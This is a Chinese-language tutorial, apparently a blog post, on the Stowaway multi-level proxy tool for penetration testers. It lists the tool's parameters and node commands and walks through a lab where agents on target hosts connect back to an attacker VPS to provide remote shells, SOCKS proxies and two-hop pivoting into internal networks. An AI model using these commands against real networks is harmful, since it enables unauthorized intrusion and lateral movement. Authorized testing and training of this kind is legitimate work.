1、项目地址

https://gitee.com/sh3llsas/Stowaway

2、stawaway简介

Stowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具
用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能

3、stawaway角色介绍

Stowaway分为俩个角色,admin为使用的主控端,agent为部署的被控端

a、参数解析

admin

参数:
-l 被动模式下的监听地址[ip]:<port>
-s 节点通信加密密钥,所有节点(admin&&agent)必须一致
-c 主动模式下的目标节点地址
--proxy socks5代理服务器地址
--proxyu socks5代理服务器用户名(可选)
--proxyp socks5代理服务器密码(可选)
--down 下游协议类型,默认为裸TCP流量,可选HTTP

agent

参数:
-l 被动模式下的监听地址[ip]:<port>
-s 节点通信加密密钥
-c 主动模式下的目标节点地址
--proxy socks5代理服务器地址
--proxyu socks5代理服务器用户名(可选)
--proxyp socks5代理服务器密码(可选)
--reconnect 重连时间间隔
--rehost 端口复用时复用的IP地址
--report 端口复用时复用的端口号
--up 上游协议类型,默认为裸TCP流量,可选HTTP
--down 下游协议类型,默认为裸TCP流量,可选HTTP

Node表示节点

admin选项

(admin) >> help
  help                                             显示帮助信息
  detail                                          展示在线节点的详细信息
  topo                                             展示在线节点的父子关系
  use        <id>                                  选择你要使用的目标节点
  exit                                             退出 Stowaway

admin node 选项

(node 0) >> help
 help                                                                            显示帮助信息
 listen                                                                          开始监听当前节点的端口
 addmemo    <string>                                                  为当前节点添加备忘录
 delmemo                                                                    删除当前节点的备忘录
 ssh        <ip:port>                                                        通过当前节点启动SSH
 shell                                                                           在当前节点上启动一个交互式外壳
 socks      <lport> [username] [pass]                           启动一个socks5服务器
 stopsocks                                                                 关闭socks服务
 connect    <ip:port>                                                   连接到一个新节点
 sshtunnel  <ip:sshport> <agent port>                       使用sshtunnel将节点添加到我们的拓扑结构中
 upload     <local filename> <remote filename>         上传文件到当前节点
 download   <remote filename> <local filename>        从当前节点下载文件
 forward    <lport> <ip:port>                                       转发本地端口到特定的远程 ip:port
 stopforward                                                               关闭转发服务
 backward    <rport> <lport>                                      将远程端口(agent)后退到本地端口(admin)。
 stopbackward                                                            关闭backward服务
 shutdown                                                                  终止当前节点
 back                                                                         返回到父面板
 exit                                                                          退出Stowaway

4、名词定义

  • 节点: 指admin || agent
  • 主动模式: 指当前操作的节点主动连接另一个节点
  • 被动模式: 指当前操作的节点监听某个端口,等待另一个节点连接
  • 上游: 指当前操作的节点与其父节点之间的流量
  • 下游:指当前操作的节点与其所有子节点之间的流量

5、实战操作

这里的靶场拓扑跟上次的frp文章用的一样

a、建立一层代理

1、Vps上启动admin监听

./stowaway_admin -l 9999 -s hack    

-l为被动连接,-s指定密钥,可以是任意字符,但是这样目标连接时就要用主动连接且指定密钥

2、target1启动agent

/stowaway_agent -c x.x.x.x:9999 -s hack

x.x.x.x为vpsip

3、vps上开启socks代理(回到admin端)

在admin上可以先topo查看当前存在的节点

use 0   

进入刚刚控制的节点

socks 1080     

启用socks代理并在vps1080端口启用监听

4、通过proxychains实现对target2的访问

(前提是先配置好proxychains文件,之前的frp文章有介绍,这里就不多赘述了)

proxychains+对22网段机器要执行的命令

b、建立二层代理

1、在node中开启监听(这样是在target1上开启的监听7070端口)

这里用的被动连接,也可以主动连接用connect,这样target2也应当改为被动连接

use 0                          //选择节点

 listen                       //在节点的主机当中监听端口,而不是攻击机

 1 

 7070

其中监听的三种模式(一般都是第一个)

Normal passive(普通被动模式):agent(代理节点)会以普通方式监听在目标端口,并等待子节点连入 。这是最普遍使用的模式,若父节点以这种方式监听,子节点仅需要通过 “-c 父节点 ip:port” 的指令格式

IPTables Reuse(IPTables 复用模式):意味着 agent 将会以 IPTables Reuse 的方式复用端口,并等待子节点连入。该模式仅支持 linux 环境下的复用,agent 会自动修改 IPTABLES,需要 root 权限。使用此模式时,将会强制监听在 0.0.0.0,无法由 “-l” 参数来指定 ip 。需要注意,若选择这个模式,用户必须保证当前操作的节点本身就是以端口复用的方式启动的,否则将无法使用 。选择此模式后,节点将会自动使用其自身启动时的参数来复用端口,并准备接受子节点的连接。

SOReuse(SO 复用模式) :表示 agent 将会以 SOReuse(基于 SO_REUSEPORT 和 SO_REUSEADDR 特性 )的方式复用端口,并等待子节点连入。该模式主要支持 windows、mac 环境下的复用,linux 环境亦可但限制较多。同样,若选择此模式,要确保当前操作的节点是以端口复用的方式启动。选择该模式后,节点会自动依据自身启动时的参数来复用端口,以接受子节点连接。

2、target2连接监听端口

./stowaway_agent -c 192.168.22.11:7070 -s hack   

此时在攻击机上会发现新上线了一个节点

3、开启socks代理

Admin接受到新的node1节点,进入node1节点开启socks代理(方法跟前面的一样,但端口不能与前面设置的一样不然会冲突)然后测试代理

如果还有新的存货主机就以此类推

Ps:socks port 是在admin节点的主机上监听跟listen不同

Ps:Stowaway的核心原则是:整个节点网络的密钥必须保持一致,否则无法建立连接。就是只要admin启动时指定的密钥,那后续连接时的密钥都是这个,主动链接是需要要指定密钥但被动连接可以不用。如果启动时没指定就都不需要密钥,但建议指定密钥

Ps:上传文件后记得给执行权限还有注意配置proxchanis文件,这几个都是tcp请求

今天也是中秋节啊,在这里祝各位中秋节快乐!

Logo

更多推荐